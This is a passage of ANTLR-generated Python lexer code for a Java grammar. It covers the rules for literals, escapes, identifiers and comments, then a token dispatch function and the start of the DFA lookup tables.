$ANTLR end "Exponent" # $ANTLR start "FloatTypeSuffix" def mFloatTypeSuffix(self, ): try: # ./Java.g:1493:17: ( ( 'f' | 'F' | 'd' | 'D' ) ) # ./Java.g:1493:19: ( 'f' | 'F' | 'd' | 'D' ) pass if self.input.LA(1) == 68 or self.input.LA(1) == 70 or self.input.LA(1) == 100 or self.input.LA(1) == 102: self.input.consume() else: mse = MismatchedSetException(None, self.input) self.recover(mse) raise mse finally: pass # $ANTLR end "FloatTypeSuffix" # $ANTLR start "CharacterLiteral" def mCharacterLiteral(self, ): try: _type = CharacterLiteral _channel = DEFAULT_CHANNEL # ./Java.g:1496:5: ( '\\'' ( EscapeSequence | ~ ( '\\'' | '\\\\' ) ) '\\'' ) # ./Java.g:1496:9: '\\'' ( EscapeSequence | ~ ( '\\'' | '\\\\' ) ) '\\'' pass self.match(39) # ./Java.g:1496:14: ( EscapeSequence | ~ ( '\\'' | '\\\\' ) ) alt21 = 2 LA21_0 = self.input.LA(1) if (LA21_0 == 92) : alt21 = 1 elif ((0 <= LA21_0 <= 38) or (40 <= LA21_0 <= 91) or (93 <= LA21_0 <= 65534)) : alt21 = 2 else: nvae = NoViableAltException("", 21, 0, self.input) raise nvae if alt21 == 1: # ./Java.g:1496:16: EscapeSequence pass self.mEscapeSequence() elif alt21 == 2: # ./Java.g:1496:33: ~ ( '\\'' | '\\\\' ) pass if (0 <= self.input.LA(1) <= 38) or (40 <= self.input.LA(1) <= 91) or (93 <= self.input.LA(1) <= 65534): self.input.consume() else: mse = MismatchedSetException(None, self.input) self.recover(mse) raise mse self.match(39) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "CharacterLiteral" # $ANTLR start "StringLiteral" def mStringLiteral(self, ): try: _type = StringLiteral _channel = DEFAULT_CHANNEL # ./Java.g:1500:5: ( '\"' ( EscapeSequence | ~ ( '\\\\' | '\"' ) )* '\"' ) # ./Java.g:1500:8: '\"' ( EscapeSequence | ~ ( '\\\\' | '\"' ) )* '\"' pass self.match(34) # ./Java.g:1500:12: ( EscapeSequence | ~ ( '\\\\' | '\"' ) )* while True: #loop22 alt22 = 3 LA22_0 = self.input.LA(1) if (LA22_0 == 92) : alt22 = 1 elif ((0 <= LA22_0 <= 33) or (35 <= LA22_0 <= 91) or (93 <= LA22_0 <= 65534)) : alt22 = 2 if alt22 == 1: # ./Java.g:1500:14: EscapeSequence pass self.mEscapeSequence() elif alt22 == 2: # ./Java.g:1500:31: ~ ( '\\\\' | '\"' ) pass if (0 <= self.input.LA(1) <= 33) or (35 <= self.input.LA(1) <= 91) or (93 <= self.input.LA(1) <= 65534): self.input.consume() else: mse = MismatchedSetException(None, self.input) self.recover(mse) raise mse else: break #loop22 self.match(34) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "StringLiteral" # $ANTLR start "EscapeSequence" def mEscapeSequence(self, ): try: # ./Java.g:1505:5: ( '\\\\' ( 'b' | 't' | 'n' | 'f' | 'r' | '\\\"' | '\\'' | '\\\\' ) | UnicodeEscape | OctalEscape ) alt23 = 3 LA23_0 = self.input.LA(1) if (LA23_0 == 92) : LA23 = self.input.LA(2) if LA23 == 34 or LA23 == 39 or LA23 == 92 or LA23 == 98 or LA23 == 102 or LA23 == 110 or LA23 == 114 or LA23 == 116: alt23 = 1 elif LA23 == 117: alt23 = 2 elif LA23 == 48 or LA23 == 49 or LA23 == 50 or LA23 == 51 or LA23 == 52 or LA23 == 53 or LA23 == 54 or LA23 == 55: alt23 = 3 else: nvae = NoViableAltException("", 23, 1, self.input) raise nvae else: nvae = NoViableAltException("", 23, 0, self.input) raise nvae if alt23 == 1: # ./Java.g:1505:9: '\\\\' ( 'b' | 't' | 'n' | 'f' | 'r' | '\\\"' | '\\'' | '\\\\' ) pass self.match(92) if self.input.LA(1) == 34 or self.input.LA(1) == 39 or self.input.LA(1) == 92 or self.input.LA(1) == 98 or self.input.LA(1) == 102 or self.input.LA(1) == 110 or self.input.LA(1) == 114 or self.input.LA(1) == 116: self.input.consume() else: mse = MismatchedSetException(None, self.input) self.recover(mse) raise mse elif alt23 == 2: # ./Java.g:1506:9: UnicodeEscape pass self.mUnicodeEscape() elif alt23 == 3: # ./Java.g:1507:9: OctalEscape pass self.mOctalEscape() finally: pass # $ANTLR end "EscapeSequence" # $ANTLR start "OctalEscape" def mOctalEscape(self, ): try: # ./Java.g:1512:5: ( '\\\\' ( '0' .. '3' ) ( '0' .. '7' ) ( '0' .. '7' ) | '\\\\' ( '0' .. '7' ) ( '0' .. '7' ) | '\\\\' ( '0' .. '7' ) ) alt24 = 3 LA24_0 = self.input.LA(1) if (LA24_0 == 92) : LA24_1 = self.input.LA(2) if ((48 <= LA24_1 <= 51)) : LA24_2 = self.input.LA(3) if ((48 <= LA24_2 <= 55)) : LA24_5 = self.input.LA(4) if ((48 <= LA24_5 <= 55)) : alt24 = 1 else: alt24 = 2 else: alt24 = 3 elif ((52 <= LA24_1 <= 55)) : LA24_3 = self.input.LA(3) if ((48 <= LA24_3 <= 55)) : alt24 = 2 else: alt24 = 3 else: nvae = NoViableAltException("", 24, 1, self.input) raise nvae else: nvae = NoViableAltException("", 24, 0, self.input) raise nvae if alt24 == 1: # ./Java.g:1512:9: '\\\\' ( '0' .. '3' ) ( '0' .. '7' ) ( '0' .. '7' ) pass self.match(92) # ./Java.g:1512:14: ( '0' .. '3' ) # ./Java.g:1512:15: '0' .. '3' pass self.matchRange(48, 51) # ./Java.g:1512:25: ( '0' .. '7' ) # ./Java.g:1512:26: '0' .. '7' pass self.matchRange(48, 55) # ./Java.g:1512:36: ( '0' .. '7' ) # ./Java.g:1512:37: '0' .. '7' pass self.matchRange(48, 55) elif alt24 == 2: # ./Java.g:1513:9: '\\\\' ( '0' .. '7' ) ( '0' .. '7' ) pass self.match(92) # ./Java.g:1513:14: ( '0' .. '7' ) # ./Java.g:1513:15: '0' .. '7' pass self.matchRange(48, 55) # ./Java.g:1513:25: ( '0' .. '7' ) # ./Java.g:1513:26: '0' .. '7' pass self.matchRange(48, 55) elif alt24 == 3: # ./Java.g:1514:9: '\\\\' ( '0' .. '7' ) pass self.match(92) # ./Java.g:1514:14: ( '0' .. '7' ) # ./Java.g:1514:15: '0' .. '7' pass self.matchRange(48, 55) finally: pass # $ANTLR end "OctalEscape" # $ANTLR start "UnicodeEscape" def mUnicodeEscape(self, ): try: # ./Java.g:1519:5: ( '\\\\' 'u' HexDigit HexDigit HexDigit HexDigit ) # ./Java.g:1519:9: '\\\\' 'u' HexDigit HexDigit HexDigit HexDigit pass self.match(92) self.match(117) self.mHexDigit() self.mHexDigit() self.mHexDigit() self.mHexDigit() finally: pass # $ANTLR end "UnicodeEscape" # $ANTLR start "ENUM" def mENUM(self, ): try: _type = ENUM _channel = DEFAULT_CHANNEL # ./Java.g:1522:5: ( 'enum' ) # ./Java.g:1522:9: 'enum' pass self.match("enum") #action start if not(self.enumIsKeyword): _type=Identifier; #action end self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "ENUM" # $ANTLR start "ASSERT" def mASSERT(self, ): try: _type = ASSERT _channel = DEFAULT_CHANNEL # ./Java.g:1530:5: ( 'assert' ) # ./Java.g:1530:9: 'assert' pass self.match("assert") #action start if not(self.assertIsKeyword): _type=Identifier; #action end self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "ASSERT" # $ANTLR start "Identifier" def mIdentifier(self, ): try: _type = Identifier _channel = DEFAULT_CHANNEL # ./Java.g:1538:5: ( Letter ( Letter | JavaIDDigit )* ) # ./Java.g:1538:9: Letter ( Letter | JavaIDDigit )* pass self.mLetter() # ./Java.g:1538:16: ( Letter | JavaIDDigit )* while True: #loop25 alt25 = 2 LA25_0 = self.input.LA(1) if (LA25_0 == 36 or (48 <= LA25_0 <= 57) or (65 <= LA25_0 <= 90) or LA25_0 == 95 or (97 <= LA25_0 <= 122) or (192 <= LA25_0 <= 214) or (216 <= LA25_0 <= 246) or (248 <= LA25_0 <= 8191) or (12352 <= LA25_0 <= 12687) or (13056 <= LA25_0 <= 13183) or (13312 <= LA25_0 <= 15661) or (19968 <= LA25_0 <= 40959) or (63744 <= LA25_0 <= 64255)) : alt25 = 1 if alt25 == 1: # ./Java.g: pass if self.input.LA(1) == 36 or (48 <= self.input.LA(1) <= 57) or (65 <= self.input.LA(1) <= 90) or self.input.LA(1) == 95 or (97 <= self.input.LA(1) <= 122) or (192 <= self.input.LA(1) <= 214) or (216 <= self.input.LA(1) <= 246) or (248 <= self.input.LA(1) <= 8191) or (12352 <= self.input.LA(1) <= 12687) or (13056 <= self.input.LA(1) <= 13183) or (13312 <= self.input.LA(1) <= 15661) or (19968 <= self.input.LA(1) <= 40959) or (63744 <= self.input.LA(1) <= 64255): self.input.consume() else: mse = MismatchedSetException(None, self.input) self.recover(mse) raise mse else: break #loop25 self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "Identifier" # $ANTLR start "Letter" def mLetter(self, ): try: # ./Java.g:1546:5: ( '\\u0024' | '\\u0041' .. '\\u005a' | '\\u005f' | '\\u0061' .. '\\u007a' | '\\u00c0' .. '\\u00d6' | '\\u00d8' .. '\\u00f6' | '\\u00f8' .. '\\u00ff' | '\\u0100' .. '\\u1fff' | '\\u3040' .. '\\u318f' | '\\u3300' .. '\\u337f' | '\\u3400' .. '\\u3d2d' | '\\u4e00' .. '\\u9fff' | '\\uf900' .. '\\ufaff' ) # ./Java.g: pass if self.input.LA(1) == 36 or (65 <= self.input.LA(1) <= 90) or self.input.LA(1) == 95 or (97 <= self.input.LA(1) <= 122) or (192 <= self.input.LA(1) <= 214) or (216 <= self.input.LA(1) <= 246) or (248 <= self.input.LA(1) <= 8191) or (12352 <= self.input.LA(1) <= 12687) or (13056 <= self.input.LA(1) <= 13183) or (13312 <= self.input.LA(1) <= 15661) or (19968 <= self.input.LA(1) <= 40959) or (63744 <= self.input.LA(1) <= 64255): self.input.consume() else: mse = MismatchedSetException(None, self.input) self.recover(mse) raise mse finally: pass # $ANTLR end "Letter" # $ANTLR start "JavaIDDigit" def mJavaIDDigit(self, ): try: # ./Java.g:1563:5: ( '\\u0030' .. '\\u0039' | '\\u0660' .. '\\u0669' | '\\u06f0' .. '\\u06f9' | '\\u0966' .. '\\u096f' | '\\u09e6' .. '\\u09ef' | '\\u0a66' .. '\\u0a6f' | '\\u0ae6' .. '\\u0aef' | '\\u0b66' .. '\\u0b6f' | '\\u0be7' .. '\\u0bef' | '\\u0c66' .. '\\u0c6f' | '\\u0ce6' .. '\\u0cef' | '\\u0d66' .. '\\u0d6f' | '\\u0e50' .. '\\u0e59' | '\\u0ed0' .. '\\u0ed9' | '\\u1040' .. '\\u1049' ) # ./Java.g: pass if (48 <= self.input.LA(1) <= 57) or (1632 <= self.input.LA(1) <= 1641) or (1776 <= self.input.LA(1) <= 1785) or (2406 <= self.input.LA(1) <= 2415) or (2534 <= self.input.LA(1) <= 2543) or (2662 <= self.input.LA(1) <= 2671) or (2790 <= self.input.LA(1) <= 2799) or (2918 <= self.input.LA(1) <= 2927) or (3047 <= self.input.LA(1) <= 3055) or (3174 <= self.input.LA(1) <= 3183) or (3302 <= self.input.LA(1) <= 3311) or (3430 <= self.input.LA(1) <= 3439) or (3664 <= self.input.LA(1) <= 3673) or (3792 <= self.input.LA(1) <= 3801) or (4160 <= self.input.LA(1) <= 4169): self.input.consume() else: mse = MismatchedSetException(None, self.input) self.recover(mse) raise mse finally: pass # $ANTLR end "JavaIDDigit" # $ANTLR start "WS" def mWS(self, ): try: _type = WS _channel = DEFAULT_CHANNEL # ./Java.g:1580:5: ( ( ' ' | '\\r' | '\\t' | '\\u000C' | '\\n' ) ) # ./Java.g:1580:8: ( ' ' | '\\r' | '\\t' | '\\u000C' | '\\n' ) pass if (9 <= self.input.LA(1) <= 10) or (12 <= self.input.LA(1) <= 13) or self.input.LA(1) == 32: self.input.consume() else: mse = MismatchedSetException(None, self.input) self.recover(mse) raise mse #action start _channel=HIDDEN; #action end self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "WS" # $ANTLR start "COMMENT" def mCOMMENT(self, ): try: _type = COMMENT _channel = DEFAULT_CHANNEL # ./Java.g:1584:5: ( '/*' ( options {greedy=false; } : . )* '*/' ) # ./Java.g:1584:9: '/*' ( options {greedy=false; } : . )* '*/' pass self.match("/*") # ./Java.g:1584:14: ( options {greedy=false; } : . )* while True: #loop26 alt26 = 2 LA26_0 = self.input.LA(1) if (LA26_0 == 42) : LA26_1 = self.input.LA(2) if (LA26_1 == 47) : alt26 = 2 elif ((0 <= LA26_1 <= 46) or (48 <= LA26_1 <= 65534)) : alt26 = 1 elif ((0 <= LA26_0 <= 41) or (43 <= LA26_0 <= 65534)) : alt26 = 1 if alt26 == 1: # ./Java.g:1584:41: . pass self.matchAny() else: break #loop26 self.match("*/") #action start _channel=HIDDEN; #action end self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "COMMENT" # $ANTLR start "LINE_COMMENT" def mLINE_COMMENT(self, ): try: _type = LINE_COMMENT _channel = DEFAULT_CHANNEL # ./Java.g:1588:5: ( '//' (~ ( '\\n' | '\\r' ) )* ( '\\r' )? '\\n' ) # ./Java.g:1588:7: '//' (~ ( '\\n' | '\\r' ) )* ( '\\r' )? '\\n' pass self.match("//") # ./Java.g:1588:12: (~ ( '\\n' | '\\r' ) )* while True: #loop27 alt27 = 2 LA27_0 = self.input.LA(1) if ((0 <= LA27_0 <= 9) or (11 <= LA27_0 <= 12) or (14 <= LA27_0 <= 65534)) : alt27 = 1 if alt27 == 1: # ./Java.g:1588:12: ~ ( '\\n' | '\\r' ) pass if (0 <= self.input.LA(1) <= 9) or (11 <= self.input.LA(1) <= 12) or (14 <= self.input.LA(1) <= 65534): self.input.consume() else: mse = MismatchedSetException(None, self.input) self.recover(mse) raise mse else: break #loop27 # ./Java.g:1588:26: ( '\\r' )? alt28 = 2 LA28_0 = self.input.LA(1) if (LA28_0 == 13) : alt28 = 1 if alt28 == 1: # ./Java.g:1588:26: '\\r' pass self.match(13) self.match(10) #action start _channel=HIDDEN; #action end self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "LINE_COMMENT" def mTokens(self): # ./Java.g:1:8: ( T__114 | T__115 | T__116 | T__117 | T__118 | T__119 | T__120 | T__121 | T__122 | T__123 | T__124 | T__125 | T__126 | T__127 | T__128 | T__129 | T__130 | T__131 | T__132 | T__133 | T__134 | T__135 | T__136 | T__137 | T__138 | T__139 | T__140 | T__141 | T__142 | T__143 | T__144 | T__145 | T__146 | T__147 | T__148 | T__149 | T__150 | T__151 | T__152 | T__153 | T__154 | T__155 | T__156 | T__157 | T__158 | T__159 | T__160 | T__161 | T__162 | T__163 | T__164 | T__165 | T__166 | T__167 | T__168 | T__169 | T__170 | T__171 | T__172 | T__173 | T__174 | T__175 | T__176 | T__177 | T__178 | T__179 | T__180 | T__181 | T__182 | T__183 | T__184 | T__185 | T__186 | T__187 | T__188 | T__189 | T__190 | T__191 | T__192 | T__193 | T__194 | T__195 | T__196 | T__197 | T__198 | T__199 | T__200 | T__201 | T__202 | HexLiteral | DecimalLiteral | OctalLiteral | FloatingPointLiteral | CharacterLiteral | StringLiteral | ENUM | ASSERT | Identifier | WS | COMMENT | LINE_COMMENT ) alt29 = 101 alt29 = self.dfa29.predict(self.input) if alt29 == 1: # ./Java.g:1:10: T__114 pass self.mT__114() elif alt29 == 2: # ./Java.g:1:17: T__115 pass self.mT__115() elif alt29 == 3: # ./Java.g:1:24: T__116 pass self.mT__116() elif alt29 == 4: # ./Java.g:1:31: T__117 pass self.mT__117() elif alt29 == 5: # ./Java.g:1:38: T__118 pass self.mT__118() elif alt29 == 6: # ./Java.g:1:45: T__119 pass self.mT__119() elif alt29 == 7: # ./Java.g:1:52: T__120 pass self.mT__120() elif alt29 == 8: # ./Java.g:1:59: T__121 pass self.mT__121() elif alt29 == 9: # ./Java.g:1:66: T__122 pass self.mT__122() elif alt29 == 10: # ./Java.g:1:73: T__123 pass self.mT__123() elif alt29 == 11: # ./Java.g:1:80: T__124 pass self.mT__124() elif alt29 == 12: # ./Java.g:1:87: T__125 pass self.mT__125() elif alt29 == 13: # ./Java.g:1:94: T__126 pass self.mT__126() elif alt29 == 14: # ./Java.g:1:101: T__127 pass self.mT__127() elif alt29 == 15: # ./Java.g:1:108: T__128 pass self.mT__128() elif alt29 == 16: # ./Java.g:1:115: T__129 pass self.mT__129() elif alt29 == 17: # ./Java.g:1:122: T__130 pass self.mT__130() elif alt29 == 18: # ./Java.g:1:129: T__131 pass self.mT__131() elif alt29 == 19: # ./Java.g:1:136: T__132 pass self.mT__132() elif alt29 == 20: # ./Java.g:1:143: T__133 pass self.mT__133() elif alt29 == 21: # ./Java.g:1:150: T__134 pass self.mT__134() elif alt29 == 22: # ./Java.g:1:157: T__135 pass self.mT__135() elif alt29 == 23: # ./Java.g:1:164: T__136 pass self.mT__136() elif alt29 == 24: # ./Java.g:1:171: T__137 pass self.mT__137() elif alt29 == 25: # ./Java.g:1:178: T__138 pass self.mT__138() elif alt29 == 26: # ./Java.g:1:185: T__139 pass self.mT__139() elif alt29 == 27: # ./Java.g:1:192: T__140 pass self.mT__140() elif alt29 == 28: # ./Java.g:1:199: T__141 pass self.mT__141() elif alt29 == 29: # ./Java.g:1:206: T__142 pass self.mT__142() elif alt29 == 30: # ./Java.g:1:213: T__143 pass self.mT__143() elif alt29 == 31: # ./Java.g:1:220: T__144 pass self.mT__144() elif alt29 == 32: # ./Java.g:1:227: T__145 pass self.mT__145() elif alt29 == 33: # ./Java.g:1:234: T__146 pass self.mT__146() elif alt29 == 34: # ./Java.g:1:241: T__147 pass self.mT__147() elif alt29 == 35: # ./Java.g:1:248: T__148 pass self.mT__148() elif alt29 == 36: # ./Java.g:1:255: T__149 pass self.mT__149() elif alt29 == 37: # ./Java.g:1:262: T__150 pass self.mT__150() elif alt29 == 38: # ./Java.g:1:269: T__151 pass self.mT__151() elif alt29 == 39: # ./Java.g:1:276: T__152 pass self.mT__152() elif alt29 == 40: # ./Java.g:1:283: T__153 pass self.mT__153() elif alt29 == 41: # ./Java.g:1:290: T__154 pass self.mT__154() elif alt29 == 42: # ./Java.g:1:297: T__155 pass self.mT__155() elif alt29 == 43: # ./Java.g:1:304: T__156 pass self.mT__156() elif alt29 == 44: # ./Java.g:1:311: T__157 pass self.mT__157() elif alt29 == 45: # ./Java.g:1:318: T__158 pass self.mT__158() elif alt29 == 46: # ./Java.g:1:325: T__159 pass self.mT__159() elif alt29 == 47: # ./Java.g:1:332: T__160 pass self.mT__160() elif alt29 == 48: # ./Java.g:1:339: T__161 pass self.mT__161() elif alt29 == 49: # ./Java.g:1:346: T__162 pass self.mT__162() elif alt29 == 50: # ./Java.g:1:353: T__163 pass self.mT__163() elif alt29 == 51: # ./Java.g:1:360: T__164 pass self.mT__164() elif alt29 == 52: # ./Java.g:1:367: T__165 pass self.mT__165() elif alt29 == 53: # ./Java.g:1:374: T__166 pass self.mT__166() elif alt29 == 54: # ./Java.g:1:381: T__167 pass self.mT__167() elif alt29 == 55: # ./Java.g:1:388: T__168 pass self.mT__168() elif alt29 == 56: # ./Java.g:1:395: T__169 pass self.mT__169() elif alt29 == 57: # ./Java.g:1:402: T__170 pass self.mT__170() elif alt29 == 58: # ./Java.g:1:409: T__171 pass self.mT__171() elif alt29 == 59: # ./Java.g:1:416: T__172 pass self.mT__172() elif alt29 == 60: # ./Java.g:1:423: T__173 pass self.mT__173() elif alt29 == 61: # ./Java.g:1:430: T__174 pass self.mT__174() elif alt29 == 62: # ./Java.g:1:437: T__175 pass self.mT__175() elif alt29 == 63: # ./Java.g:1:444: T__176 pass self.mT__176() elif alt29 == 64: # ./Java.g:1:451: T__177 pass self.mT__177() elif alt29 == 65: # ./Java.g:1:458: T__178 pass self.mT__178() elif alt29 == 66: # ./Java.g:1:465: T__179 pass self.mT__179() elif alt29 == 67: # ./Java.g:1:472: T__180 pass self.mT__180() elif alt29 == 68: # ./Java.g:1:479: T__181 pass self.mT__181() elif alt29 == 69: # ./Java.g:1:486: T__182 pass self.mT__182() elif alt29 == 70: # ./Java.g:1:493: T__183 pass self.mT__183() elif alt29 == 71: # ./Java.g:1:500: T__184 pass self.mT__184() elif alt29 == 72: # ./Java.g:1:507: T__185 pass self.mT__185() elif alt29 == 73: # ./Java.g:1:514: T__186 pass self.mT__186() elif alt29 == 74: # ./Java.g:1:521: T__187 pass self.mT__187() elif alt29 == 75: # ./Java.g:1:528: T__188 pass self.mT__188() elif alt29 == 76: # ./Java.g:1:535: T__189 pass self.mT__189() elif alt29 == 77: # ./Java.g:1:542: T__190 pass self.mT__190() elif alt29 == 78: # ./Java.g:1:549: T__191 pass self.mT__191() elif alt29 == 79: # ./Java.g:1:556: T__192 pass self.mT__192() elif alt29 == 80: # ./Java.g:1:563: T__193 pass self.mT__193() elif alt29 == 81: # ./Java.g:1:570: T__194 pass self.mT__194() elif alt29 == 82: # ./Java.g:1:577: T__195 pass self.mT__195() elif alt29 == 83: # ./Java.g:1:584: T__196 pass self.mT__196() elif alt29 == 84: # ./Java.g:1:591: T__197 pass self.mT__197() elif alt29 == 85: # ./Java.g:1:598: T__198 pass self.mT__198() elif alt29 == 86: # ./Java.g:1:605: T__199 pass self.mT__199() elif alt29 == 87: # ./Java.g:1:612: T__200 pass self.mT__200() elif alt29 == 88: # ./Java.g:1:619: T__201 pass self.mT__201() elif alt29 == 89: # ./Java.g:1:626: T__202 pass self.mT__202() elif alt29 == 90: # ./Java.g:1:633: HexLiteral pass self.mHexLiteral() elif alt29 == 91: # ./Java.g:1:644: DecimalLiteral pass self.mDecimalLiteral() elif alt29 == 92: # ./Java.g:1:659: OctalLiteral pass self.mOctalLiteral() elif alt29 == 93: # ./Java.g:1:672: FloatingPointLiteral pass self.mFloatingPointLiteral() elif alt29 == 94: # ./Java.g:1:693: CharacterLiteral pass self.mCharacterLiteral() elif alt29 == 95: # ./Java.g:1:710: StringLiteral pass self.mStringLiteral() elif alt29 == 96: # ./Java.g:1:724: ENUM pass self.mENUM() elif alt29 == 97: # ./Java.g:1:729: ASSERT pass self.mASSERT() elif alt29 == 98: # ./Java.g:1:736: Identifier pass self.mIdentifier() elif alt29 == 99: # ./Java.g:1:747: WS pass self.mWS() elif alt29 == 100: # ./Java.g:1:750: COMMENT pass self.mCOMMENT() elif alt29 == 101: # ./Java.g:1:758: LINE_COMMENT pass self.mLINE_COMMENT() # lookup tables for DFA #18 DFA18_eot = DFA.unpack( u"\6\uffff" ) DFA18_eof = DFA.unpack( u"\6\uffff" ) DFA18_min = DFA.unpack( u"\2\56\4\uffff" ) DFA18_max = DFA.unpack( u"\1\71\1\146\4\uffff" ) DFA18_accept = DFA.unpack( u"\2\uffff\1\2\1\4\1\3\1\1" ) DFA18_special = DFA.unpack( u"\6\uffff" ) DFA18_transition = [ DFA.unpack(u"\1\2\1\uffff\12\1"), DFA.unpack(u"\1\5\1\uffff\12\1\12\uffff\1\3\1\4\1\3\35\uffff\1\3" u"\1\4\1\3"), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u"") ] # class definition for DFA #18 DFA18 = DFA # lookup tables for DFA #29 DFA29_eot = DFA.unpack( u"\1\uffff\1\55\1\uffff\2\55\1\73\1\76\2\55\3\uffff\1\110\2\uffff" u"\1\55\2\uffff\1\55\1\115\4\55\3\uffff\1\55\2\uffff\2\55\1\137\1" u"\142\1\146\1\151\1\153\1\155\1\157\1\uffff\1\55\2\164\4\uffff\5" u"\55\1\175\5\55\5\uffff\7\55\3\uffff\3\55\2\uffff\10\55\1\u009c" u"\6\55\23\uffff\2\55\1\uffff\1\u00a5\1\uffff\1\164\5\55\1\u00ad" u"\1\55\1\uffff\23\55\1\u00c2\7\55\1\u00ca\2\55\1\uffff\2\55\1\u00cf" u"\5\55\1\uffff\7\55\1\uffff\10\55\1\u00e4\1\55\1\u00e6\2\55\1\u00e9" u"\1\u00ea\1\u00eb\2\55\1\u00ee\1\u00ef\1\uffff\2\55\1\u00f2\1\55" u"\1\u00f4\2\55\1\uffff\3\55\1\u00fa\1\uffff\17\55\1\u010a\1\u010b" u"\2\55\1\u010e\1\uffff\1\u010f\1\uffff\2\55\3\uffff\1\55\1\u0114" u"\2\uffff\2\55\1\uffff\1\u0117\1\uffff\1\u0118\1\u0119\1\u011b\2" u"\55\1\uffff\1\55\1\u011f\4\55\1\u0124\2\55\1\u0127\3\55\1\u012b" u"\1\55\2\uffff\1\u012d\1\55\2\uffff\3\55\1\u0132\1\uffff\2\55\3" u"\uffff\1\55\1\uffff\1\u0136\1\55\1\u0138\1\uffff\1\u0139\1\55\1" u"\u013b\1\u013c\1\uffff\1\55\1\u013e\1\uffff\3\55\1\uffff\1\55\1" u"\uffff\2\55\1\u0145\1\55\1\uffff\1\55\1\u0148\1\u0149\1\uffff\1" u"\u014a\2\uffff\1\55\2\uffff\1\55\1\uffff\3\55\1\u0150\1\55\1\u0152" u"\1\uffff\1\u0153\1\55\3\uffff\1\u0155\1\u0156\1\55\1\u0158\1\55" u"\1\uffff\1\55\2\uffff\1\u015b\2\uffff\1\u015c\1\uffff\1\u015d\1" u"\55\3\uffff\1\55\1\u0160\1\uffff" ) DFA29_eof = DFA.unpack( u"\u0161\uffff" ) DFA29_min = DFA.unpack( u"\1\11\1\141\1\uffff\1\146\1\150\1\56\1\75\1\141\1\154\3\uffff\1" u"\46\2\uffff\1\157\2\uffff\1\150\1\75\2\157\1\141\1\145\3\uffff" u"\1\141\2\uffff\1\150\1\145\1\53\1\55\1\52\4\75\1\uffff\1\142\2" u"\56\4\uffff\1\143\1\142\1\151\1\160\1\163\1\44\1\141\1\157\1\160" u"\1\151\1\156\5\uffff\2\141\1\163\1\156\1\164\1\163\1\165\3\uffff" u"\2\151\1\141\2\uffff\1\157\1\164\1\145\1\156\1\157\1\154\1\162" u"\1\156\1\44\1\146\1\154\1\167\1\164\1\151\1\164\23\uffff\2\163" u"\1\uffff\1\56\1\uffff\1\56\1\153\1\154\1\164\1\166\1\154\1\44\1" u"\164\1\uffff\1\164\1\151\1\162\1\145\1\164\1\143\1\163\1\162\1" u"\143\1\145\1\164\2\145\1\155\1\144\1\141\1\157\1\163\1\145\1\44" u"\1\156\1\154\1\145\1\141\1\147\1\141\1\163\1\44\1\141\1\142\1\uffff" u"\1\141\1\154\1\44\1\151\1\154\1\165\1\164\1\145\1\uffff\1\141\1" u"\151\1\145\1\141\1\162\1\145\1\162\1\uffff\1\141\1\151\1\143\1" u"\164\1\162\1\143\1\150\1\163\1\44\1\150\1\44\1\151\1\156\3\44\1" u"\164\1\167\2\44\1\uffff\1\163\1\145\1\44\1\153\1\44\1\164\1\145" u"\1\uffff\2\154\1\165\1\44\1\uffff\1\166\1\145\3\162\1\147\2\143" u"\2\164\1\155\1\146\1\156\1\143\1\164\2\44\1\150\1\162\1\44\1\uffff" u"\1\44\1\uffff\1\156\1\144\3\uffff\1\151\1\44\2\uffff\1\151\1\141" u"\1\uffff\1\44\1\uffff\3\44\1\145\1\154\1\uffff\1\145\1\44\1\156" u"\1\141\1\164\1\145\1\44\1\164\1\145\1\44\1\145\1\141\1\143\1\44" u"\1\146\2\uffff\1\44\1\157\2\uffff\1\165\1\163\1\154\1\44\1\uffff" u"\1\145\1\156\3\uffff\1\171\1\uffff\1\44\1\164\1\44\1\uffff\1\44" u"\1\143\2\44\1\uffff\1\145\1\44\1\uffff\1\156\1\143\1\145\1\uffff" u"\1\160\1\uffff\1\156\1\145\1\44\1\145\1\uffff\1\156\2\44\1\uffff" u"\1\44\2\uffff\1\164\2\uffff\1\144\1\uffff\1\164\1\145\1\157\1\44" u"\1\151\1\44\1\uffff\1\44\1\164\3\uffff\2\44\1\163\1\44\1\146\1" u"\uffff\1\172\2\uffff\1\44\2\uffff\1\44\1\uffff\1\44\1\145\3\uffff" u"\1\144\1\44\1\uffff" ) DFA29_max = DFA.unpack( u"\1\ufaff\1\165\1\uffff\1\156\1\171\1\71\1\75\1\157\1\170\3\uffff" u"\1\75\2\uffff\1\157\2\uffff\1\162\1\75\1\171\3\157\3\uffff\1\165" u"\2\uffff\1\150\1\145\3\75\1\174\3\75\1\uffff\1\163\1\170\1\146" u"\4\uffff\1\143\1\142\1\157\1\160\1\164\1\ufaff\1\162\1\157\1\160" u"\1\151\1\156\5\uffff\2\141\1\164\1\156\1\164\1\163\1\165\3\uffff" u"\1\154\1\162\1\171\2\uffff\1\157\1\164\1\145\1\156\1\157\1\154" u"\1\162\1\156\1\ufaff\1\146\1\154\1\167\1\164\1\151\1\164\23\uffff" u"\2\163\1\uffff\1\146\1\uffff\1\146\1\153\1\154\1\164\1\166\1\157" u"\1\ufaff\1\164\1\uffff\1\164\1\151\1\162\1\145\1\164\1\143\1\163" u"\1\162\1\143\1\145\1\164\2\145\1\155\1\144\1\141\1\157\1\163\1" u"\145\1\ufaff\1\156\1\154\1\145\1\141\1\147\1\141\1\163\1\ufaff" u"\1\141\1\142\1\uffff\1\141\1\154\1\ufaff\1\151\1\154\1\165\1\164" u"\1\145\1\uffff\1\141\1\151\1\145\1\141\1\162\1\145\1\162\1\uffff" u"\1\141\1\151\1\143\1\164\1\162\1\143\1\150\1\163\1\ufaff\1\150" u"\1\ufaff\1\151\1\156\3\ufaff\1\164\1\167\2\ufaff\1\uffff\1\163" u"\1\145\1\ufaff\1\153\1\ufaff\1\164\1\145\1\uffff\2\154\1\165\1" u"\ufaff\1\uffff\1\166\1\145\3\162\1\147\2\143\2\164\1\155\1\146" u"\1\156\1\143\1\164\2\ufaff\1\150\1\162\1\ufaff\1\uffff\1\ufaff" 